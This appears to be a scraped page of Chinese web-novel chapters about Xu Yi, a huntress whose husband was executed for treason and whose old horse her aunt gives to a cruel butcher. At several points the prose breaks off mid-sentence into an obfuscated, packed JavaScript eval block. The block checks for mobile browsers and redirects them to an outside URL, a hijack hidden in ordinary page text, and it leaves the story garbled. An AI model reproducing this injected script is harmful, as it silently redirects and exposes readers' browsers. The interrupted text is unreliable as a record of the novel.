年轻公子穿着显贵的灰黑衣裳,长发随意地搭在肩侧。他跪在正堂中央,跪在众人的面前,眉目沉静不似平常。 “你以为你跪下就足够抵清十三人的血债了么?”妇人斜眼看着卜晏,说道。 男子踹了卜晏一脚,啐道:“凭什么乱定罪、乱杀人?”他还觉得不解气,又踢了他几脚才肯罢休。 “是啊,我们找来可不是为了看你下跪的。”老妪含着一双泪眼,哽咽道:“我们想要的是他们的尸体哪……” 无人回应。许朝百姓无不知晓律法严明,凡是以谋逆之罪处死的人,死无全尸,因着这样重大的罪名,他们的尸体是无论如何都不会交还给家属的。 众人只能无助地呐喊着,却始终找不到办法。他们也不知道自己的孩子为何会在太学里无缘无故地被定罪。 “想要他们的尸体?”从府邸深处缓步走来一个蓝衣布裳的中年男人,他粗眉瞠目,声音极为粗旷,“你们只要找到证据,洗清他们谋逆的罪名即可。” 众人纷纷疑惑地看着他。狱卒见了他赶忙跪下齐声喊道:“廷尉大人。” 廷尉走到座位前坐下,极为老练地扫视着正堂里的众人,目光在徐宜、徐有言两人的身上作了短暂的停留。 “就是你杀了我的孩子!”男人望着台上的男人,吼道。 “哎,诸位。”廷尉并不在意,他悠悠道:“我也不愿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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徐宜直勾勾地看着台上的男人,冷静地说道:“没错。我夫君的手有问题,一年四季他的双手都挂着伤口和血痂子,所以只要经他手写出来的字,横撇的笔画都不会是直线。廷尉大人请看看那封信,信中的字全都是我夫君所写的。看完之后大人可再与翟狄的字作比对,随后便能知道那些谋逆的字句是不是伪造的了。” 她继续陈述,乌黑的眸子始终看着虚无的前方,像是盲人似的。“廷尉大人如果不信的话还可以去青州找一找翟狄,他的舅父在青州为官。他知道此事露馅了便想着去那里避避风头。如今人也都死了,我不求别的,只是想留一具全尸。” 说完她又磕了一个响头,额上的血迹还未干透又流出了新鲜的血。 徐有言也跪下,道:“还请廷尉大人明鉴,留他们一具全尸。” “全尸自然会留,你们也可以将他们带回安葬。”高台上的廷尉微微笑起,看向徐宜,不动声色地说:“但你可不能带走言不许。” 12. 天落雪 砚山常常下雨,今个儿又恰逢倒春寒,更是冷得刺骨。徐宜支起窗户,双手托着下巴向外看檐前的雨。 她看得入神,丝毫不觉得冷。 言不许坐在条案后,正一错不错地看着她。宜晴宜雨,窗外不论是个什么天气,这个姑娘都会特别喜欢。 “你看我做什么。”许是他看得出神了,徐宜走到身边了,他都还未曾察觉。 于是他掩饰性地垂头,作出拿笔写字的动作,道:“没看你,我在看窗外的雨。” 徐宜看到他的耳朵红了,若有所思地点点头,问道:“夫君是喜欢雨天还是晴天?” 言不许温言说:“晴雨皆宜。” “我喜欢这个答案。”徐宜念了两遍,眼眸亮晶晶地说,“晴雨皆宜,夫君还真是才学过人。” 言不许笑了下。 在成婚之前,很多人都曾说徐宜是个粗鄙的怪人,大字不识得一个。 媒婆说媒之时也曾对他说:“言三,你别怪我说话不好听。那徐家也是穷困潦倒,至于徐宜,也不是什么正经人家的女儿,整日里打猎磨刀的,根本没有半分女儿家端庄贤淑的样子。你若当真娶了,就要承担起往后的一切麻烦哪!” “女子也未曾不能做那些事情,”言不许说。“依我之见,她的弓箭之术极为厉害,乡里少有人能赶得上。” 媒婆格外唏嘘地上下打量着他,想着这人莫不是疯了,眉眼之间竟然透出一股子骄傲来。 她幸灾乐祸了几句:“大娘听说你只是个四体不勤五谷不分的读书人?你娶了那姑娘,怕是有你受的了!” 言不许笑笑打趣了句,“稍有不慎她便将刀架在我的脖子上?” …… 她明明是一副女子身,却喜欢做那些舞刀弄枪、进山捕猎的粗野之事。 乡里人谈论起她九岁被弃养一事,都认为是她不守女诫、不守规矩,所以活该被抛弃。 不久他们又对他这个“上门女婿”来了兴趣。赶集之时,就有个自称为许大婶的妇人擒住他的衣袖,对他说:“你就是徐宜的夫君罢?” 言不许愕然点头之后。她就噼里啪啦地说了一大堆关于徐宜的过去,但真假存疑,“徐宜那姑娘啊,忒冷漠无情了。九岁被生父弃养流落到槐里之后,被她好心的姨父姨母给收养。结果你猜怎的,她居然恩将仇报,自己一个人筑房生活了!” 许大婶还要继续说,言不许却打断了问:“她一个人生活,定会遇到很多难处罢。” “自然,”许大婶随口就接道,“乡里都知道她一个人搬出来住了。夜里还有男人去她所在的住处呢……” 她没有注意到年轻公子的眼神越来越沉,仍是继续说:“据说每次徐宜都将那些男人打了个鼻青脸肿、落花流水,回去之后家人都认不出他们来。只是啊,这都怪她自己,在姨父姨母家住得好好的,为何偏偏要搬出来?不好好在家读女诫、做刺绣,为何要去……” 可为何男子做那些事就是英勇就是顾家赚钱,女子便是不守规矩? 有一门正经的营生赚钱糊口,不靠其他任何人,徐宜她已经做得很好了。 言不许有些生气,“大婶不必再说了。不论你这么说,在下也只会觉得娶到她是我毕生的福气。” 雨越下越大。窗外的天也越来越黑,树影在纸窗户上婆娑起舞,世间突然沉静下来,仿佛在酿一罐醇厚的美酒。 徐宜还站在他的面前。眼眸乌黑清润,黑白分明,里面透出一股子探寻的意味来,同那天的相重合。 “徐宜,”言不许放下笔杆,看向她,不经意地问起。“你的名字是怎么来的?‘宜’这个字取得特别好。” 徐宜静默了会,脸上才重又生出雀跃,她回应道:“是祖父给我取的。他原本不识字,是专门买了本《诗经》,仔细研究之后才找到了‘宜’这个字。” “祖父有心了。”他应一声好。 徐宜瞧见他要拿起笔写字了,便赶忙问:“那你呢,你为什么叫‘不许’?” 言不许轻笑道,“你得先问我喜欢哪个时节。” “你喜欢什么哪个时节?” “春天。”不经思考,他几乎是毫不犹豫地就说出了这个答案。 徐宜“哇”了一声,向窗外看去,“现在正是春天。只是遇到了倒春寒,冷得很。既然你喜欢春天,那让我猜猜你名字的由来罢。”她狡黠的眼睛弯起,继而道,“‘不许’便是不许冬天的到来,一年四季如春。想不到你人这么温温和和的,居然给自己取了个这样霸道的字。” 言不许也跟着笑了,“不是我取的字,身体发肤受之父母,名和字也都归父母取。”他见徐宜一脸不解,便解释道:“在女子及笄、男子弱冠之后,父母便会为其取字,字须得与名有某种关联。” “我记得你就有个字,叫‘有言’,对么?”他抬目,温言问她。 徐宜却避开他的问题,疑惑蹙眉问道:“取字难道不是由自己取吗?” 言不许轻摇头,随后说道:“‘不许’并不是这个意思,你猜错了。” 沙沙的雨声打在门檐前,好似踩雪、踩沙一般。 徐宜怔了会,试探性地说:“那……不许人欺负你?” 言不许失笑,铺开宣纸后又摇了摇头。 “我还以为像你这样没脾气的人,小时候会有很多人对你又打又骂呢。”徐宜再猜:“不许你难过、不开心?” “不对。”言不许写完字顿笔,抬眼看她,“再猜。” 徐宜不肯猜了,别过眼睛,略带着恐吓地说:“你不肯告诉就算了,我去院中磨刀了。明天还要进山打猎呢。” 她撇下嘴角,作势要走却没走,不一会儿还用期翼的目光看着他。 言不许将镇尺拿开,又将宣纸展开让徐宜看。谁知她皱着眉头看了好一会儿,才磕磕绊绊地勉强念出几个字:“梅花过了……风雨,……意在春……天不许。” 梅花过了仍风雨,着意在春天不许。 天不许,不许。这个寓意不甚好。 “我母亲喜欢读诗,伤春悲秋就为我取了这个字。” 徐宜听说他在言家的日子过得不好,母亲疯了,父亲对他也极为冷漠。着意在春天不许,这句诗就带着些无奈和哀怨。 他的眉眼微微垂下。他说他最喜欢春天。 “谁说着意在春天不许?”徐宜走近来坐在他的身边,直勾勾地他的眼睛说道,“我虽然读的诗不多,但我很会改诗。” “那你改改罢。”言不许故意地埋首于案,不让她看着自己嘴角的笑意。 徐宜轻咳了声,面色有些发红。但话已经说出去了,她犹自镇定地道:“……梅花过了是柳枝,着意在春天自许。不仅天许,人许,我也许!” 从此之后她的夫君就改了个字,为“许”。 旁人问起,他都说取自“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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山间的野兽、悍匪、坏人都不在话下,却抵不了京中的权贵。他们虚与委蛇、视人命为草芥,并且能够面带笑颜地做出许多没皮没脸的事。 这样的人,刀治不了。 窗外的冬景依旧,枯树枝凋零,水濛濛一片天。 徐宜突然理解了言许为何会毫不犹豫地选择春天。因为见过寒冬枯草,才更加喜欢春的和风煦日。 她想,她该回去了。 来时的行李不多,简单收拾下即可。就是言许之前送回来的银两还剩下许多,徐宜不打算留了,她要去京中买几件时兴的衣裳、首饰和糕点。 装点好行李、喂饱马儿之后就该上路了。她又带上那顶青箬笠,牵着马儿晃悠悠地走到了宫门之下,她瞧见远处站着两位年轻公子,他们都穿着官服,身子挺拔,但面目看得不甚清晰。有一位是她的兄长徐有言,另一位似乎是……卜晏? 徐宜注意到他们看过来,便立即垂下头看脚尖,她原本是来找徐有言告别的,至于其他的人她不想再见了。 “你要回司州了么?”没过一会儿,徐有言就走到了她的身边,问道。 “对,家里还有事。我就先回槐里去了。”徐宜深深地看了他一眼,总觉得他今日看她的眼神很不对劲,往日和煦的目光仿佛掺杂了探寻,她转身到马匹背后拿了一盒糕点,将其交到了徐有言的手上,“谢谢表兄你的帮助,这次来京中为我夫君的事,多亏了你。” 徐有言道了谢,看着她的眼睛似乎还想说些什么,但欲言又止还是没能说出来,最后他只能道出一句,“珍重。” 待到徐宜走得远些了,卜晏才从墙角出来,他皱着眉目有些生气,三两步就到了徐有言的身边,斥道:“她夫君的死有蹊跷,你怎么都不与她说说?” 13. 天落雪 地面上有不少水渍的痕迹,坑坑洼洼的像是小山坑。这场雨下得极为猛烈,连红墙也仿佛脱了漆似的。 徐有言听了,淡声道:“我不想让她来蹚这京中的浑水。” 卜晏:“徐大人应让她自己做选择。我能看出来,她对这位夫君很在意,若你不告诉她此事,她就能真正释怀吗?” 徐有言冷笑一声,“卜公子倒是说得好听。当初你不置一言就弃掉徐宜的时候,不也正是与我想的一样吗?” 卜晏的脸色微微发白,仿佛被说中了什么,他轻摇头,道一句:“我与她的夫君不一样……” “自定国公死之后,郁家的事一律归郁诎管。”徐有言说,“这位郁二老爷对言家多有照拂,我派人查了,言三进入太学生的名额就是由他给的。这是一个莫大的局,北山王或许都不曾知晓郁二老爷背地里做的这些事……言三究竟是什么人,使得郁诎这样费尽心思地拢到身边来,再如此大费周折地除掉?” “仇人。” 卜晏平静地陈述道:“郁诎先是将他给关在定国公府里的,后来少帝发话了才将他给移到廷尉府的牢狱之中。我虽没有亲眼看到郁诎对他的折磨,但我知道他一定过得相当痛苦,郁诎将他关在一间屋子里,不许人送饭送水,只点一碟香。我起初以为是要将他烧死,但却不是。我并不知道郁诎到底要做些什么,但我觉得你这位妹夫的身份不简单,又或者是他在哪里得罪了郁诎。” “你是说言不许的身份不简单?”徐有言的脸上闪过惊愕,若有所思地说道:“可司州的确有个落魄的仕宦姓言。言家也的确存在,言家也有个长年不曾露面的三公子,这些都是不可伪造的。难道……说这言三被什么人替换了?” 卜晏思量了一会儿,才说道:“不仅如此,言三这次的死也极为蹊跷。郁诎设了这么大一个局,先是给他进入太学的名额,再是赏识他,最后却污蔑他给他冠上一个谋逆的罪名。何况在定国公府的时候我能感受到郁诎对于他的厌恶,兜了这么大一个圈子才将他给囚在了身边,折磨都来不及,为何会突然将他给杀了?” “言三的死,徐宜倒是扛得过去。可若是让她知晓他这个人从头到尾都是假的,他也不是言三的话,”徐有言的眼神暗下去,接着道。“那……” “那她会疯掉。”卜晏接过话来。 “徐大人现在不肯将这些说与徐宜,可曾想过她有一日终究会知道言三在骗她。言三目前看来已经是个‘死人’了,死人比活人更能讨人喜欢,她会在心中一直思念他,直到将他的缺点给完全抹除掉,成为一个完美的夫君。”卜晏继续解释说道,“但突然有一日,她突然得知言三一直在骗她,毫无疑问的,她会疯掉。” “阿宜不会这般,她向来坚韧懂事、平静镇定。”徐有言轻声说道,“她是永光三年来的司州,孤零零的一个小姑娘走过许多路才来到了槐里乡,那时候她整个人灰扑扑的,一双眼睛却在发亮。我们向她招手,她却有礼有节地向我们鞠躬。” 卜晏听了就没再说话了。 - 从交州回来的路程并不好走,再加上又在下雨,路面既陡峭又滑溜。 徐宜驱马行进七日才总算到了司州。 路过砚山脚下的客栈之时,她走了进去,向小二点了碗馄饨吃。她出发前曾来过这家客栈,掌柜的热情好客,饭菜也格外好吃。 现在客栈内正一片喧闹。徐宜安静地坐在条凳上等自己点好的馄饨。 “听说槐里乡那女猎户的丈夫死了,死相极惨,连个完整的尸身都没有!”男人的声音嗡嗡地传来。 “当真?”有一个弱弱的声音不敢置信地问,男人当即捶桌道:“千真万确!我侄子在京中的太学里读书呢!他亲眼瞧见的,众多人围堵在廷尉府门前,好些太学生都死了。那言三恐怕是谋逆的头子,所以才死无全尸。” “我说吧,女人怎么能佩刀剑,又怎么能进山打猎?更何况她还厚颜无耻地抢了我们好些猎物。”他啐一声,“沾着这样的女人,肯定没有个好下场!” “这不,言家三公子就来现身说法了?”随后便是一阵乱哄哄的笑声。 小二这时候从楼上下来了,端着一碗冒着热气的馄饨,走到徐宜的面前,笑道:“客官,你点的馄饨。” 徐宜应了声好,眼神却死死地盯住前面的那桌男人,直到馄饨冷了她才堪堪咽下,往常觉得好吃的馄饨,她如今却吃得味同嚼蜡。 却不是馄饨冷了的缘故,这一路上她都没什么食欲,但只有吃饱了才能做事。 男人们围着方桌坐满了,他们个个都穿着貂毛,戴了帽子。淋湿的蓑衣就放在身旁的桌凳上,水渍洒了一地。 是司州的猎人,徐宜曾在砚山里见过他们。 男人们吆喝了许久,吃酒吃得满面红潮、油光满面。他们吃饱喝足之后就跌跌撞撞地闯出门去,也不曾付钱。 掌柜的正拨着算盘,看见了却只是叹口气。 徐宜连忙跟上去,出客栈之时却撞见了镇上的王屠夫。他的个头矮,脸庞的线条柔和顺畅,长相极为阴柔,可脾气却是出了名的火爆。 人们却并不觉得他这个人有什么奇怪,屠夫整日剁肉剔骨的,脾气火爆倒也正常。可徐宜却不喜欢他,旁的屠夫都用快刀、利刀,而他偏偏用钝刀。因此经他之手的猪啊牛啊马啊都会吼叫半天,直到身上的肉被刮净、直到身上的血被放干,它们才不叫了,这个过程格外的漫长。 这次他还牵着一匹马走。这匹马很奇怪,白色布条几乎裹满了它的身体,只露出了一双苍老而疲惫的眼睛,里面流出些显而易见的哀伤。 它一直用那双眼睛紧盯着徐宜。 徐宜心一惊,仿佛有什么攫住了她,不过也只是一瞬的事情。 “你们说言家三公子死了,还会有人要……那个跋扈的徐娘子吗?” “一个脾性古怪的……寡妇,我看哪……谁娶谁倒霉!” 前面的那群猎户并未走远,还在你一言我一语地说着闲话。她顾不上这种奇怪的感受,转眼就快步跟了上去,那匹马的目光也很快从她的身上移走了。 司州起了风雪,这可不是个好预兆。槐里的风雪非常特殊,只要一逢雪,便会下成暴雪,封山堵路路难行。 徐宜暗道不好,她想着能进砚山看看自己的马儿,现在却遇到槐里这样的怪雪。她简单地踹了那群男人几脚,他们醉得糊涂,只能瘫在雪地上无能地大吼大叫。 槐里常会有这种爱嚼人舌 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15142407|164543||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 根的人,她往常懒得在意,但今天她却看不顺眼。 收拾完嘴欠讨打的男人之后,她抬头看着将明未明的天色。风雪愈下愈大,颇有暴风雪的前兆。可她却没顾这个,还是背上行囊进了砚山。 绕过几个弯路,就到了山腰上红墙黑瓦的寺庙。 这是一座古庙,名为“青明”寺,每逢年末,槐里的人就会上山来祈福。但今日许是风雪太大了,青明寺就静静地伫立在那儿,看着冷冷清清的。 徐宜出发之前问了那名神医要多久才能治好她的驽马,神医说半个月足矣。 不多不少,刚刚好。她在京中待了五日,来回的路程占去十日,总共就是半个月。 她眉目舒展,呼口气连忙往寺里去。 扣响庙门,沉重的声音响起。 门被打开了,一名穿着蓝布衣裳的小和尚探出头来,“施主有什么事吗?”徐宜刚要开口,小和尚就将门缝推得大些,说道,“风雪这样大,施主先进来再说罢。” 徐宜走了进去,问道:“小师傅,神医宋雪还在庙中吗?” 见小和尚疑惑地眨了眨眼睛,她走近几步,心中升起不安和慌张,继续追问,“我是半个月前来求神医为驽马治病的施主,请问我现在能去看看我的马匹吗?” “那匹通身棕毛的驽马?”徐宜赶忙点头,小和尚思索几分,道:“可……它已经被人给牵走了。” 寺庙外,松树不堪重负,雪沉沉地压下来,“轰”的一声倒地。 “什么人牵走的它,”徐宜张手比划了下,“一个有着这样身材的妇人吗?” 小和尚睁着乌溜溜的大眼睛,看着她点点头。 她有些焦急地问,“是自称为沈大娘的妇人吗?” “的确是个妇人。”小和尚摇了摇了头,说:“却不是自称为沈大娘的妇人,是姓王。这位王夫妇人说是你的母亲,负你所托来将这匹驽马给带回家中。” 听到这个姓氏,徐宜的呼吸一滞,脸色恍然间比雪色还白。 王氏是收养她的姨母,徐家对她有恩,却不喜她的这匹马。他们认为驽马是不详坏运的象征,因此在她十五岁之时将她的这匹驽马卖到了京中的淮安王府。她再找回来的时候,驽马就失了眼睛和腿。 “施主,你怎么了?”小和尚担心地唤她。 她的眼睛微微失神,接着又突兀地问起:“那宋雪治好这匹驽马了吗?” “当然治好了!宋雪是谁?大名鼎鼎的兽医,他可只用七天就治好了!可……他说自己要继续去远方游历,现如今已经没有在庙中了。不过施主你也不用担心,那匹马儿一定就在你的家中等着呢。” 徐宜听完唇色渐渐开始泛白了,她道完谢之后立马就往庙外赶去,小和尚原本还在念叨,这下注意到她的异样,便问:“诶施主施主,你去哪儿?” 小和尚喊她她却听不见,他也亦步亦趋地跟上去,大声喊道:“施主,风雪越下越大了!此时下山恐怕不行,不如先在庙里休息下罢!” 雪滚滚而来。可徐宜置若罔闻。 年轻女子的身影单薄得很,瘦的像是一片纸似的。可风雪正张狂地肆虐着,她的脚底却没有半步退缩,仿佛此去是刀山是火海,她也在所不惜。 14. 天落雪 王氏开了木门就看到了站在门口的徐宜。她像是摔了,脸颊灰扑扑的,还有些擦伤的小血痕,衣裳也被雪给浸湿掉。 “小宜回来了呀。”妇人格外心虚地看着她,低着头使了手劲就将门往外推,缝隙变得更小了,木门几乎快要掩上。 徐宜一把抵住木门,接着往里推,向前几步。王氏被推得踉跄了下,霎时抬头看见了她的一双眼睛,怒气中掺杂得更多的是落寞,她心中生起惊愕,浑身又起了颤栗,不知是冷的还是吓的。 屋里又传来男人的骂声,“你就在门口傻愣着做什么?”妇人也不说话,略佝偻着身子站在门前。 接着男人拂开帘子,从里屋走了出来,看见徐宜的时候怔忡了下,再问道:“…….你来做什么?” 徐宜轻笑了声却不回应,就低头翻着挎在她腰间的那个灰布包裹。 男人瞪了妇人一眼,王氏颤着身子,于是便唯唯诺诺地开口了,“小宜哪,没事的话你就走罢,我们没时间也没钱招待你。家中穷,你姨父劳苦,等会他就要冒着这样大的风雪进砚山打猎呢。” “徐尘和你都是我们拉扯大的,如今都有出息了,都远走高飞了,也就不愿搭理我们这些人了。”王氏越说越动容,最后两行清泪顺着脸颊流了下来。 她揩了揩泪还想继续说,却闻到一股愈加浓烈的血腥味,方才徐宜进屋之时就曾闻到过,只是那时候的较为隐蔽。 徐宜却打断了泪眼婆娑的妇人,冷不丁地问:“你们将驽马卖给谁了?” 妇人颤了下,却仍矢口否认,“……什么驽马,你是说你的那匹老马?我们的确是将它给接回来了,但近来天气冷得厉害,它脚上的伤口又复发出脓水了。我跟你姨父两个人替它包扎好了,可却不管用……但小宜你想想哪,那匹马已经很老了,也算是寿终正寝啊。” “啪——” 徐宜从包裹中提出一只野鸡,随后将其给摔在了地上。 她的手劲其实算不上大,可这番动静却将他们给惊了一跳。 “姨父不是要去打猎吗?”她的眸子空阔得很,看着地上的那只死去的猎物,微微牵起唇角,说道:“我帮您打回来了,您不用再去了。” 那只野鸡浑身都是血,棕色毛发之间还掺杂着粗砺的未化掉的雪,是刚死去不久的样子。 王氏梗着脖子、瞪大眼睛看着地上早已死掉的野鸡,有些花容失色。男人看见之后也并不是毫无反应,他紧闭双唇始终不肯说话。 徐宜淡淡地说:“姨母,山中的小和尚说你将我的那匹马儿给牵回来了。但……”她的声音有些不稳,“但我找了屋外的其他地方,猪棚、茅草屋,甚至离你们稍远一点的卫屠夫的家,我都找了,但都没有找着。” “我不说了……那匹老马已经死了。”王氏又低了头,眼神四处闪躲不敢看她。徐宜便转了话头,看向男人说道:“姨父,您把那匹驽马卖给谁了?” “徐宜!”站在内屋的男人面容难辨,他的语气很沉,像是压抑着怒火,“你还记得我们是你的姨父姨母么?你九岁无家可归,是我们收养了你。现在你就以这样咄咄逼人的态度来对待恩人吗?” 王氏去拉徐宜的衣角,弱弱地唤:“你犯得着为一匹驽马同你的姨父置气吗?” 徐宜默了会,再抽出腰间的佩刀,极有礼貌地说:“……我知道它死了,还请您们告诉我它被卖给了谁。” 她的身子微微向前倾着,脚底的力量已经无法支撑她站好了。 “王屠夫,”男人眼底已经有明显的不耐烦,摆摆手。“你自己去县上找罢,别来烦我们了。” 徐宜的心一惊。王屠夫,她今日在客栈门口见过王屠夫,他当时就牵着一匹浑身裹满的白布条的老马。 “铮”的一声,刀入鞘。她未曾告别就跑出门去。 “你看她那副德行,忘恩负义,一个姑娘家,戾气那样重,竟然还将刀对向我们……”王氏变了嘴脸向男人斥道,“真是活该死了夫君!” 王氏撇撇嘴,掩着袖子看向地上的那只死掉的野鸡,“还有这东西,你快去把它给处理了。” - 耳边都是呼啸的风声,苍白的雪像碎石子打在脸上,徐宜眼前一阵晕眩,快要辨不清前路的方向。 她在暴雪重驱马前行。 已是近黄昏,可漫天的雪色照得天边亮如白昼。驱马疾驰,马蹄踏过的地方,路旁的枯枝败叶就簌簌地往下掉。 槐里在砚山的脚下,离清和县有着一两日的路程。如今很多路程都被大雪给掩埋掉了,即使是策马也无法前行。 可徐宜不管不顾地往那些厚雪上踏,眉眼间之前隐隐透出的戾气如今已经完完全全显露出来。 她还是穿着那身灰色的粗布衣裳,可在雪色的映衬下白的发亮,腰间挂着那串红绳环佩,叮当作响。 她今日下午在客栈前还曾见到过她的驽马,那就意味着它还没有死。但当时她没有认出来。 ...... 马儿长吁一声,接着便是踏碎枯枝的声音,宽阔明亮的官道上显出一道道马蹄痕迹。 徐宜翻身下马,未曾站稳踉跄了两步,歪歪斜斜的脚印深深地扎在雪地上。 她微微仰头,眼前的牌匾是用工整的隶书写就的,她曾来过县里,也认得“清和”二字。 一人一马,走在官道上。 雪零零碎碎地洒下来,天边的光缓缓延伸过来,天快亮了。街上也开始有人气,不少小贩开始摆摊,笼笼热气散出来。行人迈着细碎的步子,见着了熟人便相视而笑地打打招呼、说说家常闲话。 她走了一日一夜的路程。 还好,没有错。 徐宜到处询问路人王屠夫的住处,可人们见她穿着打扮、神态脸色都古怪得很,就无一不避开她。 少时她虽然被祖父带着来过清和县,也曾去过王屠夫的铺子,可那已经是极为久远的事情了。 她不记得了。 她只记得牛羊在案板上嘶吼喊叫,王屠夫拿着他的那把钝刀慢慢地磨,再细致地扒皮削骨的样子……< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15142408|164543||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 那时她年幼,就扯着祖父的衣角喊他去阻止那个坏人,回去之后还哭着威胁说如果祖父再杀生,她就不会再跟着他继续学刀、也不会继承他的衣钵了。 徐宜也不知道自己是怎么回事,明明自己也用弓箭打猎,可就是见不得王屠夫那样杀生。她也将这事说与了言三,言三笑笑说了句什么来着……什么君子远什么厨的,她也不记得了。 这时迎面走来一位戴着靛蓝帽子、提着菜篮的妇人,她赶忙上前去问:“请问你知道王渠王屠夫的铺子在哪吗?” 妇人古怪地看了徐宜一眼,但还是转身指了方向,“在这条街的东南角。” 徐宜简单道完谢就快步朝东南角去了。 她走了一会儿就看到不远处立着一杆黄黑的旗子,上面写着“王屠夫”三个字,不过她是凭气味闻出来的。 干屠夫这一行的,身上都会有淡淡的血腥气,而且无法洗掉。这间铺子的血腥味道尤为浓烈,她绕了一圈也没有看见任何活物。 王屠夫就站在前堂洗刀,那把刀就是他最为喜欢也最常用的钝刀,黑漆漆的锈斑上绞着一些细小白嫩的肠子,偶尔有几点血,不一会儿就全部被冲净了。 “王渠,你杀猪的时候能不能快点?”有几个过路的大娘朝王屠夫说,“昨天你杀的那头猪呜呜咽咽地叫了整整两刻钟,真是吵死人了。” “我说你这间铺子能不能不要在晚上开张,太影响我们休息了。” 王屠夫洗刀的手一顿,抬起阴鸷的眼睛死死地盯着那位妇人,勾起面皮笑道:“卫大娘,我昨日杀的不是头猪,而是匹老马。” 妇人显然是被他的眼神给吓着了,仍梗着脖子说,“……谁谁管你杀的是什么东西?你那把刀都用这么些年了,太钝了就不能换一把吗!真是扰民……” “可我不这样觉得。”王屠夫阴恻恻地笑道。 “哎,我说你这屠夫……”妇人还想继续理论,可她身旁的大娘就要拉着她离开,“你不要与这样的怪人争论,他是个屠夫嗜血如命,小心你得罪了他,他拿把刀把你给砍死了。” 风雪停后,日光破了阴翳降下来。 徐宜站在远处,有些发怔地盯着他手中的那把钝刀。 它似乎已经沉寂了,即便是在日光的照射下也无法发出光亮。 她最后去问王屠夫要些骨头,他摇了摇头随后不耐烦地说丢在后山了。她就去后山找,可灌木丛里、碎尸堆中全是些骨头碎粒。 找了将近一个下午,她才找到一、两块较为完整的骨头,即使完整也是很小的块状,上面还挂着些没褪干净的筋脉和血丝,但最可悲的是,她不能确定这些到底是不是自己的驽马身上的骨头。 日头渐落,天色逐渐黑下来。 徐宜拖着身子去问了王屠夫这匹驽马卖了多少钱,王屠夫看都没看她一眼,嫌恶地说了句驽马根本不值钱。 但耐不住她死缠烂打的询问,最后才说了出来,“我就没花钱,那个妇人直接叫我去山上牵的。说是这东西晦气……” 15. 天落雪 晦气。 如何才算晦气呢?她歪着脑袋想了很久都没有想明白。 初来槐里的时候,徐宜十三岁。那时许朝正逢战乱,又是个饥荒年代,她的家早就没了。 可槐里乡有砚山的庇佑,西北的戎人不会攻进来。于是她便抓住这唯一的希望,牵着马儿沿路打猎、乞讨着过来,一人一马相依为命。 逃难途中挨饿受冻是常有的事情,因着饥荒年代山林中的猎物也很少,但乞讨也讨不到什么,于是她便只好博博运气去山林中打猎。 只是她每次都能在山里遇见些奇怪的人,他们装备齐全,弓箭、佩剑都是极为精致的。祖父曾指着对她说那些都是显贵人家的东西,千万不能碰,带着那些东西的人哪,也千万不能惹。 因此徐宜总是小心翼翼地躲避他们,总是在他们之后打一点剩下的猎物。可他们就像蝗虫过境一般,荒年的猎物本就少,还被他们一扫而空了。 一天清晨,素日精神抖擞的马儿软趴趴地倒在地上,已经三天没有进食了,她也快要饿得受不住了。 她只能跟那些权贵抢猎物了。 强打起精神,配好短刀,徐宜再将包裹中仅剩的干粮拿出来,放在马儿的旁侧。马儿嗅了嗅那些食物,却恹恹地调转了身子和头。 它不是不想吃,是不愿吃。 徐宜摸顺它的毛发,无奈地说:“你就吃罢,我今天还能打些猎物回来。” 安抚好马匹之后,她就想着去附近一座偏僻的山林里碰碰运气。但无论哪座山,怎样偏僻,他都能遇到那些古怪的显贵之人。 果不其然,她在山中刚走两步就遇见了那些人。他们缓步走来,膀大腰圆的,穿着打扮都很考究,徐宜拨开腿马上就想跑,可那群人很警觉地发现了她。 徐宜能听到他们屏息和拉动弓弩的声音,这下可不好了他们是将她当作猎物了。 她哭笑不得,赶忙从枯草笼中跑出来摆手,用尽身上的力气喊:“我是这附近的山民!” 这下见着了,人群里都是些凶神恶煞的中年男人,不过还有两个年轻人,一个是个年轻公子,长得潇洒肆意、穿着紫衣华裳。另一个还是位少年,长得俊俏好看,可脸色却却惨败得很,像是命不久矣的模样。 男人们见是个小丫头片子,都缓缓放下了弓弩,不再那么警惕了。 可那紫衣公子反而将弓拉得更开了些,箭已搭在弦上,徐宜来不及反应,那支箭“咻”的一声就射中了她的臂膀。 徐宜惊呼一声,跌跪下来。她穿得单薄,血色很快浸染衣袖,晕成一团。 那罪魁祸首却浑然不觉,高扬起眉,恶劣的笑容勾在嘴角,“怎么样?本公子的箭术精进不少罢。” 大汉们像是习以为常的,谄媚地笑说:“公子不愧为南山王府的嫡长子,不仅才华横溢,更是箭术过人哪!” 众人又接过嘴来,绝不让话落在地上。“可不是嘛,公子前两个月才学习箭术,今天才是第一次来这山上打猎就能射中猎物!” “就连公子的猎物也不是个寻常物,大伙儿瞧罢,这猎物还是个人呢!”他们瞄了地上的女孩一眼,又咧嘴笑开了。 